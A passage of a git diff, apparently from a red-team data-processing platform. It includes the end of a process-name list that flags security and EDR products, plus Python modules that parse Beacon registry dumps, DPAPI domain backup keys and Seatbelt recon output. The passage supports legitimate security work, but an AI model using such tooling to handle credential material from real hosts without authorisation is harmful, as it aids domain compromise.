+splunk-admon.exe,Splunk +splunk-powershell.exe,Splunk +splunk-winevtlog.exe,Splunk +spf.exe,UNKNOWN +sphinx.exe,UNKNOWN +spoler.exe,UNKNOWN +spoolcv.exe,UNKNOWN +spoolsv32.exe,UNKNOWN +spyxx.exe,UNKNOWN +srexe.exe,UNKNOWN +srng.exe,UNKNOWN +ss3edit.exe,UNKNOWN +ssgrate.exe,UNKNOWN +ssg_4104.exe,UNKNOWN +st2.exe,UNKNOWN +start.exe,UNKNOWN +stcloader.exe,UNKNOWN +supftrl.exe,UNKNOWN +support.exe,UNKNOWN +supporter5.exe,UNKNOWN +svchostc.exe,UNKNOWN +svchosts.exe,UNKNOWN +sweep95.exe,UNKNOWN +sweepnet.sweepsrv.sys.swnetsup.exe,UNKNOWN +symproxysvc.exe,UNKNOWN +symtray.exe,UNKNOWN +sysedit.exe,UNKNOWN +sysmon.exe,Sysinternals Sysmon +sysupd.exe,UNKNOWN +taniumclient.exe,Tanium +taskmg.exe,UNKNOWN +taskmo.exe,UNKNOWN +taumon.exe,UNKNOWN +tbmon.exe,UNKNOWN +tbscan.exe,UNKNOWN +tc.exe,UNKNOWN +tca.exe,UNKNOWN +tcm.exe,UNKNOWN +tcpview.exe,UNKNOWN +tds-3.exe,UNKNOWN +tds2-98.exe,UNKNOWN +tds2-nt.exe,UNKNOWN +teekids.exe,UNKNOWN +tfak.exe,UNKNOWN +tfak5.exe,UNKNOWN +tgbob.exe,UNKNOWN +titanin.exe,UNKNOWN +titaninxp.exe,UNKNOWN +tlaservice.exe,UNKNOWN +tlaworker.exe,UNKNOWN +tracert.exe,UNKNOWN +trickler.exe,UNKNOWN +trjscan.exe,UNKNOWN +trjsetup.exe,UNKNOWN +trojantrap3.exe,UNKNOWN +tsadbot.exe,UNKNOWN +tshark.exe,UNKNOWN +tvmd.exe,UNKNOWN +tvtmd.exe,UNKNOWN +udaterui.exe,UNKNOWN +undoboot.exe,UNKNOWN +updat.exe,UNKNOWN +update.exe,UNKNOWN +updaterui.exe,UNKNOWN +upgrad.exe,UNKNOWN +utpost.exe,UNKNOWN +vbcmserv.exe,UNKNOWN +vbcons.exe,UNKNOWN +vbust.exe,UNKNOWN +vbwin9x.exe,UNKNOWN +vbwinntw.exe,UNKNOWN +vcsetup.exe,UNKNOWN +vet32.exe,UNKNOWN +vet95.exe,UNKNOWN +vettray.exe,UNKNOWN +vfsetup.exe,UNKNOWN +vir-help.exe,UNKNOWN +virusmdpersonalfirewall.exe,UNKNOWN +vnlan300.exe,UNKNOWN +vnpc3000.exe,UNKNOWN +vpc32.exe,UNKNOWN +vpc42.exe,UNKNOWN +vpfw30s.exe,UNKNOWN +vptray.exe,UNKNOWN +vscan40.exe,UNKNOWN +vscenu6.02d30.exe,UNKNOWN +vsched.exe,UNKNOWN +vsecomr.exe,UNKNOWN +vshwin32.exe,UNKNOWN +vsisetup.exe,UNKNOWN +vsmain.exe,UNKNOWN +vsmon.exe,UNKNOWN +vsstat.exe,UNKNOWN +vstskmgr.exe,McAfee VirusScan Enterprise +vswin9xe.exe,UNKNOWN +vswinntse.exe,UNKNOWN +vswinperse.exe,UNKNOWN +w32dsm89.exe,UNKNOWN +w9x.exe,UNKNOWN +watchdog.exe,UNKNOWN +webdav.exe,UNKNOWN +webscanx.exe,UNKNOWN +webtrap.exe,UNKNOWN +wfindv32.exe,UNKNOWN +whoswatchingme.exe,UNKNOWN +wimmun32.exe,UNKNOWN +win-bugsfix.exe,UNKNOWN +win32.exe,UNKNOWN +win32us.exe,UNKNOWN +winactive.exe,UNKNOWN +window.exe,UNKNOWN +windows.exe,UNKNOWN +wininetd.exe,UNKNOWN +wininitx.exe,UNKNOWN +winlogin.exe,UNKNOWN +winmain.exe,UNKNOWN +winnet.exe,UNKNOWN +winppr32.exe,UNKNOWN +winrecon.exe,UNKNOWN +winservn.exe,UNKNOWN +winssk32.exe,UNKNOWN +winstart.exe,UNKNOWN +winstart001.exe,UNKNOWN +wintsk32.exe,UNKNOWN +winupdate.exe,UNKNOWN +wireshark.exe,UNKNOWN +wkufind.exe,UNKNOWN +wnad.exe,UNKNOWN +wnt.exe,UNKNOWN +wradmin.exe,UNKNOWN +wrctrl.exe,UNKNOWN +wsbgate.exe,UNKNOWN +wupdater.exe,UNKNOWN +wupdt.exe,UNKNOWN +wyvernworksfirewall.exe,UNKNOWN +xagt.exe,FireEye Endpoint Security (HX) +xpf202en.exe,UNKNOWN +zapro.exe,UNKNOWN +zapsetup3001.exe,UNKNOWN +zatutor.exe,UNKNOWN +zonalm2601.exe,UNKNOWN +zonealarm.exe,UNKNOWN +_avp32.exe,UNKNOWN +_avpcc.exe,UNKNOWN +rshell.exe,UNKNOWN +_avpm.exe,UNKNOWN diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/process_categorizer.py b/cmd/enrichment/enrichment/tasks/process_categorizer/process_categorizer.py new file mode 100644 index 0000000..b4f3562 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/process_categorizer/process_categorizer.py @@ -0,0 +1,69 @@ +# Standard Libraries +import asyncio +from typing import List + +# 3rd Party Libraries +import nemesiscommon.constants as constants +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.tasks.process_categorizer.categorizer import ProcessCategorizerInterface +from nemesiscommon.messaging import ( + MessageQueueConsumerInterface, + MessageQueueProducerInterface, +) +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class ProcessCategorizer(TaskInterface): + categorizer: ProcessCategorizerInterface + out_q_process: MessageQueueProducerInterface + + def __init__( + self, + in_q_process: MessageQueueConsumerInterface, + out_q_processenriched: MessageQueueProducerInterface, + categorizer: ProcessCategorizerInterface, + ): + self.in_q_process = in_q_process + self.out_q_process = out_q_processenriched + self.categorizer = categorizer + + async def run(self) -> None: + await self.in_q_process.Read(self.process_message) # type: ignore + await asyncio.Future() + + @aio.time(Summary("process_process_data_enriched", "Time spent categorizing a process")) # type: ignore + async def process_message(self, ingestedProcMsg: pb.ProcessIngestionMessage) -> None: + total_procs = len(ingestedProcMsg.data) + + await logger.adebug("Received ProcessIngestionMessage", total_procs=total_procs) + + enrichedProcMsg = pb.ProcessEnrichedMessage() + enrichedProcMsg.metadata.CopyFrom(ingestedProcMsg.metadata) + + for i in range(total_procs): + ingestedProc = ingestedProcMsg.data[i] + + enrichedProc = pb.ProcessEnriched() + enrichedProc.origin.CopyFrom(ingestedProc) + + enrichments_success: List[str] = [] + # enrichments_failure = [] + + category = await self.categorizer.lookup(ingestedProc.name) + + # right now there is no failure mode for the lookup so there are no enrichments_failure + enrichments_success.append(constants.E_PROCESS_CATEGORY) + + enrichedProc.category.category = category.category + if category.description: + enrichedProc.category.description = category.description + + enrichedProc.enrichments_success.extend(enrichments_success) + enrichedProcMsg.data.append(enrichedProc) + + await self.out_q_process.Send(enrichedProcMsg.SerializeToString()) diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py new file mode 100644 index 0000000..c86c43b --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py @@ -0,0 +1,124 @@ +# Standard Libraries +import base64 +import json +import struct +import sys +from typing import List, NamedTuple, Tuple, Union + +REG_NONE = 0 +REG_SZ = 1 +REG_EXPAND_SZ = 2 +REG_BINARY = 3 +REG_DWORD = 4 +REG_DWORD_BIG_ENDIAN = 5 +REG_LINK = 6 +REG_MULTI_SZ = 7 +# REG_RESOURCE_LIST = 8 +# REG_FULL_RESOURCE_DESCRIPTOR = 9 +# REG_RESOURCE_REQUIREMENTS_LIST = 10 +REG_QWORD = 11 + + +class RegKey(NamedTuple): + type_: int + path: str + path_size: int + key: str + key_size: int + value: Union[bytes, int, List[bytes]] + value_size: int + + +class BofRegCollect: + def __init__(self, data: bytes): + self.data = data + + @classmethod + def from_file(cls, path: str) -> "BofRegCollect": + with open(path, "rb") as f: + return cls(f.read()) + + def read_unsigned_int(self) -> int: + (ret,), self.data = struct.unpack(">I", self.data[:4]), self.data[4:] + return ret + + def read_unsigned_long(self) -> int: + (ret,), self.data = struct.unpack(" int: + (ret,), self.data = struct.unpack(">L", self.data[:4]), self.data[4:] + return ret + + def read_unsigned_long_long(self) -> int: + (ret,), self.data = struct.unpack(" bytes: + (ret,), self.data = struct.unpack(f">{length}s", self.data[:length]), self.data[length:] + return ret + + def read_string(self) -> Tuple[bytes, int]: + size = self.read_unsigned_int() + if size == 0: + return b"", size + ret = self.read_fixed_string(size) + return ret, size + + def read_key(self) -> Tuple[RegKey, bytes]: + type_ = self.read_unsigned_int() + path, path_size = self.read_string() + path = path.decode("utf-16") + + key, key_size = self.read_string() + key = key.decode("utf-16") + if key == "(default)": + key = "" + + value = b"" + value_length = 0 + + if type_ == REG_NONE: + self.read_unsigned_int() + elif type_ == REG_DWORD: + self.read_unsigned_int() + value = self.read_unsigned_long() + elif type_ == REG_BINARY: + value, value_length = self.read_string() + value = base64.b64encode(value).decode("ASCII") + elif type_ == REG_DWORD_BIG_ENDIAN: + self.read_unsigned_int() + value = self.read_unsigned_long_be() + elif type_ == REG_MULTI_SZ: + value, value_length = self.read_string() + value = [v for v in value.decode("utf-16").split("\0") if v != ""] + elif type_ == REG_QWORD: + self.read_unsigned_int() + value = self.read_unsigned_long_long() + else: + value, value_length = self.read_string() + value = value.decode("utf-16").strip("\x00") + + return RegKey(type_, path, path_size, key, key_size, value, value_length) + + def parse(self) -> List[RegKey]: + arr = [] + arr_size = self.read_unsigned_int() + + for i in range(arr_size): + reg_key = self.read_key() + arr.append(reg_key) + return arr + + +if __name__ == "__main__": + if len(sys.argv) != 3: + print("Usage: python nemesis_reg_parser.py ") + sys.exit(1) + + input_path = sys.argv[1] + output_path = sys.argv[2] + + reg = [k._asdict() for k in BofRegCollect.from_file(input_path).parse()] + with open(output_path, "w") as f: + json.dump(reg, f) diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/dpapi_domain_backupkey.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/dpapi_domain_backupkey.py new file mode 100644 index 0000000..1355c6a --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/dpapi_domain_backupkey.py @@ -0,0 +1,75 @@ +# Standard Libraries +import base64 +import json +import os +import uuid +from typing import Dict + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +import structlog +from nemesiscommon.messaging import MessageQueueProducerInterface +from nemesiscommon.storage import StorageInterface + +logger = structlog.get_logger(__name__) + + +class dpapi_domain_backupkey: + dpapi_domain_backupkey_q_out: MessageQueueProducerInterface + storage: StorageInterface + tasks_set = set() + + def __init__( + self, + dpapi_domain_backupkey_q_out: MessageQueueProducerInterface, + storage: StorageInterface, + ): + self.dpapi_domain_backupkey_q_out = dpapi_domain_backupkey_q_out + self.storage = storage + + async def process(self, event: pb.RawDataIngestion, metadata: pb.Metadata): + if not event.is_file: + await logger.awarning("Received a DPAPI backupkey file that is not a file", metadata=metadata) + return + + # When the raw_data record has is_file=True, the "event.data" field is the file object UUID + filename = uuid.UUID(event.data) + + with await self.storage.download(filename) as temp_file: + # get temp file size + size = os.path.getsize(temp_file.name) + if size == 0: + await logger.aerror("Received a DPAPI backupkey file that is empty", metadata=metadata) + return + elif size < 2: + await logger.aerror("Received a DPAPI backupkey file that is less than 2 bytes, and therefore invalid JSON", metadata=metadata) + return + + with open(temp_file.name, "rb") as f: + domain_backupkey_msg = await self.parse_json(f.read(), metadata) + await self.dpapi_domain_backupkey_q_out.Send(domain_backupkey_msg.SerializeToString()) + + async def parse_json(self, text: bytes, metadata: pb.Metadata) -> pb.DpapiDomainBackupkeyMessage: + domain_backupkey: Dict[str, str] = json.loads(text) + + if "domain_backupkey_guid" not in domain_backupkey: + raise ValueError("Received DpapiDomainBackupkeyMessage, but domain_backupkey_guid not found in JSON") + + if "domain_backupkey_b64" not in domain_backupkey: + raise ValueError("Received DpapiDomainBackupkeyMessage, but domain_backupkey_b64 not found in JSON") + + domain_backupkey_guid = domain_backupkey["domain_backupkey_guid"] + domain_controller = domain_backupkey["domain_controller"] if "domain_controller" in domain_backupkey else "" + domain_backupkey_bytes = base64.b64decode(domain_backupkey["domain_backupkey_b64"]) + + domain_backupkey_msg = pb.DpapiDomainBackupkeyMessage() + domain_backupkey_data = pb.DpapiDomainBackupkey( + domain_controller=domain_controller, + domain_backupkey_guid=domain_backupkey_guid, + domain_backupkey_bytes=domain_backupkey_bytes, + ) + + domain_backupkey_msg.metadata.CopyFrom(metadata) + domain_backupkey_msg.data.extend([domain_backupkey_data]) + + return domain_backupkey_msg diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/raw_data_tag.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/raw_data_tag.py new file mode 100644 index 0000000..23e6ce6 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/raw_data_tag.py @@ -0,0 +1,187 @@ +# Standard Libraries +import asyncio +import time +import uuid +from typing import Callable + +# 3rd Party Libraries +import enrichment.lib.nemesis_db as db +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.lib.nemesis_db import NemesisDb +from enrichment.tasks.raw_data_tag.bof_reg_collect_parser import BofRegCollect +from enrichment.tasks.raw_data_tag.dpapi_domain_backupkey import dpapi_domain_backupkey +from enrichment.tasks.raw_data_tag.seatbelt_json import seatbelt_json +from google.protobuf.json_format import ParseDict +from nemesiscommon.messaging import ( + MessageQueueConsumerInterface, + MessageQueueProducerInterface, +) +from enrichment.lib.registry import include_registry_value +from nemesiscommon.storage import StorageInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger() + + +class RawDataTag(TaskInterface): + """ + Class responsible for processing the "tags" field in RawDataIngestionMessage messages. + """ + + storage: StorageInterface + db: NemesisDb + in_q_rawdata: MessageQueueConsumerInterface + reg_value_q: MessageQueueProducerInterface + file_info_q: MessageQueueProducerInterface + service_output_q: MessageQueueProducerInterface + named_pipe_q: MessageQueueProducerInterface + dpapi_domain_backupkey_q_out: MessageQueueProducerInterface + out_q_network_connection: MessageQueueProducerInterface + RAW_DATA_HANDLER_MAP = {} + + def __init__( + self, + storage: StorageInterface, + db: NemesisDb, + in_q_rawdata: MessageQueueConsumerInterface, + out_q_dpapi_domain_backupkey: MessageQueueProducerInterface, + out_q_file_info: MessageQueueProducerInterface, + out_q_reg_value: MessageQueueProducerInterface, + out_q_service: MessageQueueProducerInterface, + out_q_named_pipe: MessageQueueProducerInterface, + out_q_network_connection: MessageQueueProducerInterface, + ): + self.in_q_rawdata = in_q_rawdata + + self.TAG_HANDLER_MAP: dict[str, Callable] = { + "bof_reg_collect": self.process_bof_reg_collect, + "seatbelt_json": self.process_seatbelt_raw_data, + "dpapi_domain_backupkey": self.process_dpapi_domain_backupkey, + } + self.storage = storage + self.db = db + + self.dpapi_domain_backupkey_q_out = out_q_dpapi_domain_backupkey + self.file_info_q = out_q_file_info + self.reg_value_q = out_q_reg_value + self.service_output_q = out_q_service + self.named_pipe_q = out_q_named_pipe + self.network_connection_q = out_q_network_connection + + async def run(self) -> None: + await self.in_q_rawdata.Read(self.process_message) # type: ignore + await asyncio.Future() + + async def process_message(self, event: pb.RawDataIngestionMessage) -> None: + """Processes tags in RawDataIngestionMessage messages. + + Args: + event (pb.RawDataIngestionMessage): RawDataIngestionMessage to process. + """ + + if not len(event.data) > 0: + return + + for data in event.data: + if not data.tags: + continue + + for tag in data.tags: + if tag in self.TAG_HANDLER_MAP: + structlog.contextvars.bind_contextvars( + tag=tag, + message_id=event.metadata.message_id, + ) + start_time = time.perf_counter() + await logger.ainfo("Processing raw_data") + + await self.ensure_project_exists(event.metadata) + await self.TAG_HANDLER_MAP[tag](data, event.metadata) + + end_time = time.perf_counter() + await logger.ainfo( + "Finished processing tag", + total_time=(end_time - start_time), + ) + + async def ensure_project_exists(self, metadata: pb.Metadata): + """Ensures a project exists in the database. + + Args: + metadata (pb.Metadata): Metadata for the project. + """ + # TODO: Create a cache of projects stored in memory so we don't hit the DB for every event + p = db.Project( + metadata.project, + metadata.timestamp.ToDatetime(), + metadata.expiration.ToDatetime(), + ) + await self.db.add_project(p) + + @aio.time(Summary("process_bof_reg_collect", "Time spent processing bof_reg_collect")) # type: ignore + async def process_bof_reg_collect(self, event: pb.RawDataIngestion, metadata: pb.Metadata): + """Processes a raw_data message associated with a bof_reg_collect file. + + Args: + event (pb.RawDataIngestion): RawDataIngestion event to process. + metadata (pb.Metadata): Metadata for the event. + """ + + if not event.is_file: + await logger.awarning("Received a bof_reg_collect file that is not a file", metadata=metadata) + return + + # When the raw_data record has is_file=True, the "data" field is the file object UUID + filename = uuid.UUID(event.data) + + with await self.storage.download(filename) as temp_file: + msg = pb.RegistryValueIngestionMessage() + msg.metadata.CopyFrom(metadata) + + keys = [ + {"key": key.path, "value_name": key.key, "value": str(key.value), "value_kind": key.type_} + for key in BofRegCollect.from_file(temp_file.name).parse() + if include_registry_value(key=key.path, value_name=key.key, value_kind=key.type_, value=key.value) + ] + for key in keys: + obj = pb.RegistryValueIngestion() + msg_fmt = ParseDict(key, obj) + msg.data.append(msg_fmt) + + await self.reg_value_q.Send(msg.SerializeToString()) + + @aio.time(Summary("process_tag_seatbelt_json", "Time spent processing Seatbelt JSON")) # type: ignore + async def process_seatbelt_raw_data(self, event: pb.RawDataIngestion, metadata: pb.Metadata): + """Processes a raw_data message associated with a Seatbelt NDJSON file. + + Args: + event (pb.RawDataIngestion): RawDataIngestion event to process. + metadata (pb.Metadata): Metadata for the event. + """ + seatbelt = seatbelt_json( + self.db, + self.storage, + self.file_info_q, + self.reg_value_q, + self.service_output_q, + self.named_pipe_q, + self.network_connection_q, + ) + await seatbelt.process(event, metadata) + + @aio.time(Summary("process_tag_dpapi_domain_backupkey", "Time spent processing DPAPI domain backup keys")) # type: ignore + async def process_dpapi_domain_backupkey(self, event: pb.RawDataIngestion, metadata: pb.Metadata): + """Processes a raw_data message associated with a DPAPI domain backupkey. + + Args: + event (pb.RawDataIngestion): RawDataIngestion event to process. + metadata (pb.Metadata): Metadata for the event. + """ + dpapi = dpapi_domain_backupkey( + dpapi_domain_backupkey_q_out=self.dpapi_domain_backupkey_q_out, + storage=self.storage, + ) + await dpapi.process(event, metadata) diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_datatypes.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_datatypes.py new file mode 100644 index 0000000..8a44dab --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_datatypes.py @@ -0,0 +1,470 @@ +# Standard Libraries +import base64 +import json +import re +from dataclasses import dataclass +from datetime import datetime, timezone +from decimal import Decimal +from enum import Enum +from typing import Any, Dict, List, Optional + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +from pydantic.types import UUID4 + + +class SeatbeltDtoTypes(Enum): + DIRECTORY_INFO = "Seatbelt.Commands.Windows.DirectoryInfoDTO" + FILE_INFO = "Seatbelt.Commands.Windows.FileInfoDTO" + OS_INFO = "Seatbelt.Commands.Windows.OSInfoDTO" + REGISTRY_VALUE = "Seatbelt.Commands.Windows.RegistryValueDTO" + SERVICE_INFO = "Seatbelt.Commands.Windows.ServicesDTO" + SLACK_DOWNLOADS = "Seatbelt.Commands.SlackDownloadsCommand+SlackDownloadsDTO" + SLACK_WORKSPACES = "Seatbelt.Commands.Products.SlackWorkspacesCommand+SlackWorkspacesDTO" + NAMED_PIPE = "Seatbelt.Commands.Windows.NamedPipesDTO" + TCP_CONNECTION = "Seatbelt.Commands.Windows.TcpConnectionsDTO" + UDP_CONNECTION = "Seatbelt.Commands.Windows.UdpConnectionsDTO" + + +class RegistryValueKindEnum(Enum): + NONE = 0 + SZ = 1 + EXPAND_SZ = 2 + BINARY = 3 + DWORD = 4 + DWORD_BIG_ENDIAN = 5 + LINK = 6 + MULTI_SZ = 7 + RESOURCE_LIST = 8 + FULL_RESOURCE_DESCRIPTOR = 9 + RESOURCE_REQUIREMENTS_LIST = 10 + QWORD = 11 + + +# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Commands/Windows/RegistryValueCommand.cs#L181-L196 +@dataclass +class SeatbeltRegistryValue: + Key: str + ValueName: Optional[str] = None + Value: Optional[Any] = None + ValueKind: Optional[RegistryValueKindEnum] = None + SDDL: Optional[str] = None + + @staticmethod + def from_dict(json_dict: dict): + if "Key" not in json_dict: + raise ValueError("Invalid SeatbeltRegistryValue: missing 'Key' field") + + if "ValueKind" in json_dict: + json_dict["ValueKind"] = RegistryValueKindEnum(json_dict["ValueKind"]) + return SeatbeltRegistryValue( + json_dict["Key"], json_dict.get("ValueName"), json_dict.get("Value"), json_dict.get("ValueKind"), json_dict.get("SDDL") + ) + + def to_protobuf(self) -> pb.RegistryValueIngestion: + """Converts a SeatbeltRegistryValue object to a RegistryValueIngestionMessage protobuf object. + In the process, it normalizes the registry data to conform to Nemesis' format. + Namely, is converts ValueNames of "(default)" to "", and converts binary data to base64. + + Returns: + RegistryValueIngestion: The converted RegistryValueIngestion protobuf + """ + # normalize registry data to Nemesis format + + # Default values in Seatbelt have name of "(default)" where as Nemesis expects "" + if self.ValueName == "(default)": + self.ValueName = "" + + # Convert all values to a string + if self.Value is not None: + if self.ValueKind is None: + raise ValueError("Cannot deserialize registry value since the ValueKind is unknown") + + if self.ValueKind == RegistryValueKindEnum.BINARY: + b = bytes(self.Value) + self.Value = base64.b64encode(b).decode("utf-8") + else: + self.Value = str(self.Value) + + # new_data = pb.RegistryValueIngestion(data.Key, self.ValueName, self.ValueKind, self.Value, self.SDDL) + output = pb.RegistryValueIngestion() + output.key = self.Key + + if self.ValueName is not None: + output.value_name = self.ValueName + + if self.ValueKind is not None: + output.value_kind = self.ValueKind.value + + if self.Value is not None: + output.value = self.Value + + if self.SDDL is not None: + output.sddl = self.SDDL + + return output + + +# TODO: DirectoryInfoDTO +# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Commands/Misc/FileInfoCommand.cs#L176-L232 +@dataclass +class SeatbeltFileInfo: + FileName: str + Comments: Optional[str] = None + CompanyName: Optional[str] = None + FileDescription: Optional[str] = None + FileVersion: Optional[str] = None + InternalName: Optional[str] = None + IsDebug: Optional[bool] = None + IsDotNet: Optional[bool] = None + IsPatched: Optional[bool] = None + IsPreRelease: Optional[bool] = None + IsPrivateBuild: Optional[bool] = None + IsSpecialBuild: Optional[bool] = None + Language: Optional[str] = None + LegalCopyright: Optional[str] = None + LegalTrademarks: Optional[str] = None + OriginalFilename: Optional[str] = None + PrivateBuild: Optional[str] = None + ProductName: Optional[str] = None + ProductVersion: Optional[str] = None + SpecialBuild: Optional[str] = None + Attributes: Optional[str] = None + CreationTimeUtc: Optional[datetime] = None + LastAccessTimeUtc: Optional[datetime] = None + LastWriteTimeUtc: Optional[datetime] = None + Length: Optional[int] = None + SDDL: Optional[str] = None + + @classmethod + def from_dict(cls, data: Dict[str, Any]): + i = cls(**data) + if i.CreationTimeUtc: + i.CreationTimeUtc = parse_seatbelt_date(str(i.CreationTimeUtc)) + if i.LastAccessTimeUtc: + i.LastAccessTimeUtc = parse_seatbelt_date(str(i.LastAccessTimeUtc)) + if i.LastWriteTimeUtc: + i.LastWriteTimeUtc = parse_seatbelt_date(str(i.LastWriteTimeUtc)) + return i + + def to_protobuf(self) -> pb.FileInformationIngestion: + """Converts a SeatbeltFileInfo object to a FileInformationIngestion protobuf object. + + Returns: + FileInformationIngestion: The converted FileInformationIngestion protobuf + + nemesis.filesystem_objects (agent_id, project_id, source, timestamp, expiration, path, name, extension, type, size, access_time, creation_time, modification_time, sddl) + """ + + output = pb.FileInformationIngestion() + + output.path = self.FileName + output.type = "file" + + if self.Length: + output.size = self.Length + if self.CreationTimeUtc: + output.creation_time.FromDatetime(self.CreationTimeUtc) + if self.LastAccessTimeUtc: + output.access_time.FromDatetime(self.LastAccessTimeUtc) + if self.LastWriteTimeUtc: + output.modification_time.FromDatetime(self.LastWriteTimeUtc) + if self.SDDL: + output.sddl = self.SDDL + + output.version_info = ( + f"OriginalFilename: {self.OriginalFilename}\nFileDescription: {self.FileDescription}ProductName: \n{self.ProductName}\n" + f"Comments: {self.Comments}\nCompanyName: {self.CompanyName}\nFileName: {self.FileName}\nFileVersion: {self.FileVersion}\n" + f"ProductVersion: {self.ProductVersion}\nIsDebug: {self.IsDebug}\nIsPatched: {self.IsPatched}\nIsPreRelease: {self.IsPreRelease}\n" + f"IsPrivateBuild: {self.IsPrivateBuild}\nIsSpecialBuild: {self.IsSpecialBuild}\nLanguage: {self.Language}\nLegalCopyright: {self.LegalCopyright}\n" + f"LegalTrademarks: {self.LegalTrademarks}\nPrivateBuild: {self.PrivateBuild}\nSpecialBuild: {self.SpecialBuild}" + ) + + return output + + +# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Commands/Windows/ServicesCommand.cs#L245-L278 +@dataclass +class SeatbeltService: + Name: str + DisplayName: str + Description: Optional[str] + User: Optional[str] + State: Optional[str] + StartMode: Optional[str] + Type: Optional[str] + ServiceCommand: Optional[str] + BinaryPath: Optional[str] + BinaryPathSDDL: Optional[str] + ServiceDll: Optional[str] + ServiceSDDL: Optional[str] + CompanyName: Optional[str] + FileDescription: Optional[str] + Version: Optional[str] + IsDotNet: Optional[str] + + @classmethod + def from_dict(cls, data: Dict[str, Any]): + return cls(**data) + + def to_protobuf(self) -> pb.ServiceIngestion: + """Converts a SeatbeltService object to a ServiceIngestion protobuf object. + + Returns: + ServiceIngestion: The converted ServiceIngestion protobuf + """ + + output = pb.ServiceIngestion() + + output.name = self.Name + output.display_name = self.DisplayName + + if self.Description: + output.description = self.Description + if self.User: + output.start_name = self.User + if self.State: + output.state = self.State + if self.StartMode: + output.start_mode = self.StartMode + if self.Type: + if self.Type.lower() == "unknown" and re.match(".*_[a-zA-Z0-9_]{5}$", self.Name): + output.type = "Per-user" + else: + output.type = self.Type + if self.ServiceCommand: + output.service_command = self.ServiceCommand + if self.ServiceDll: + output.service_dll = self.ServiceDll + if self.ServiceDll: + output.service_sddl = self.ServiceDll + + return output + + +@dataclass +class SeatbeltNamedPipe: + Name: str + ServerProcessName: Optional[str] + ServerProcessPID: Optional[int] + ServerProcessPath: Optional[str] + Sddl: Optional[str] + + @classmethod + def from_dict(cls, data: Dict[str, Any]): + # transform old named pipe format + if "OwningProcessName" in data: + data["ServerProcessName"] = data.pop("OwningProcessName") + if "OwningProcessPID" in data: + data["ServerProcessPID"] = data.pop("OwningProcessPID") + if "ServerProcessPath" not in data: + data["ServerProcessPath"] = "" + return cls(**data) + + def to_protobuf(self) -> pb.NamedPipeIngestion: + """Converts a SeatbeltNamedPipe object to a NamedPipeIngestion protobuf object. + + Returns: + NamedPipeIngestion: The converted NamedPipeIngestion protobuf + """ + + output = pb.NamedPipeIngestion() + + output.name = self.Name + + if self.ServerProcessName and self.ServerProcessName != "Unk": + output.server_process_name = self.ServerProcessName + if self.ServerProcessPID: + output.server_process_id = self.ServerProcessPID + if self.ServerProcessPath: + output.server_process_path = self.ServerProcessPath.replace("\\", "/") + if self.Sddl and self.Sddl != "ERROR": + output.sddl = self.Sddl + + return output + + +# ref - https://github.com/GhostPack/Seatbelt/blob/e97b184755d070493a83c3af70da9417e5fd806f/Seatbelt/Commands/Windows/TCPConnectionsCommand.cs#L121-L141 +@dataclass +class SeatbeltTcpConnection: + LocalAddress: str + LocalPort: Optional[int] + RemoteAddress: Optional[str] + RemotePort: Optional[int] + State: Optional[str] + ProcessId: Optional[int] + ProcessName: Optional[str] + ProcessCommandLine: Optional[str] + ServiceName: Optional[str] + + @classmethod + def from_dict(cls, data: Dict[str, Any]): + # transform old format + if "ProcessCommandLine" not in data and "Command" in data: + data["ProcessCommandLine"] = data.pop("Command") + if "ProcessName" not in data: + data["ProcessName"] = "" + if "ServiceName" not in data and "Service" in data: + data["ServiceName"] = data.pop("Service") + return cls(**data) + + def to_protobuf(self) -> pb.NetworkConnectionIngestion: + """Converts a SeatbeltTcpConnection object to a NetworkConnectionIngestion protobuf object. + + Returns: + NetworkConnectionIngestion: The converted NetworkConnectionIngestion protobuf + """ + + output = pb.NetworkConnectionIngestion() + + tcp_states = { + 1: "CLOSED", + 2: "LISTEN", + 3: "SYN_SENT", + 4: "SYN_RCVD", + 5: "ESTABLISHED", + 6: "FIN_WAIT1", + 7: "FIN_WAIT2", + 8: "CLOSE_WAIT", + 9: "CLOSING", + 10: "LAST_ACK", + 11: "TIME_WAIT", + 12: "UNKNOWN", + } + + output.local_address = f"{self.LocalAddress}:{self.LocalPort}" + output.remote_address = f"{self.RemoteAddress}:{self.RemotePort}" + output.protocol = "tcp,ipv4" + if self.State: + if self.State in tcp_states: + output.state = tcp_states[self.State] + else: + output.state = f"{self.State}" + if self.ProcessId: + output.process_id = self.ProcessId + if self.ProcessName: + output.process_name = self.ProcessName + if self.ServiceName: + output.service = self.ServiceName + + return output + + +# ref - https://github.com/GhostPack/Seatbelt/blob/e97b184755d070493a83c3af70da9417e5fd806f/Seatbelt/Commands/Windows/UDPConnectionsCommand.cs#L117-L132 +@dataclass +class SeatbeltUdpConnection: + LocalAddress: str + LocalPort: Optional[int] + ProcessId: Optional[int] + ProcessName: Optional[str] + ProcessCommandLine: Optional[str] + ServiceName: Optional[str] + + @classmethod + def from_dict(cls, data: Dict[str, Any]): + if "ProcessCommandLine" not in data and "ProcessName" in data: 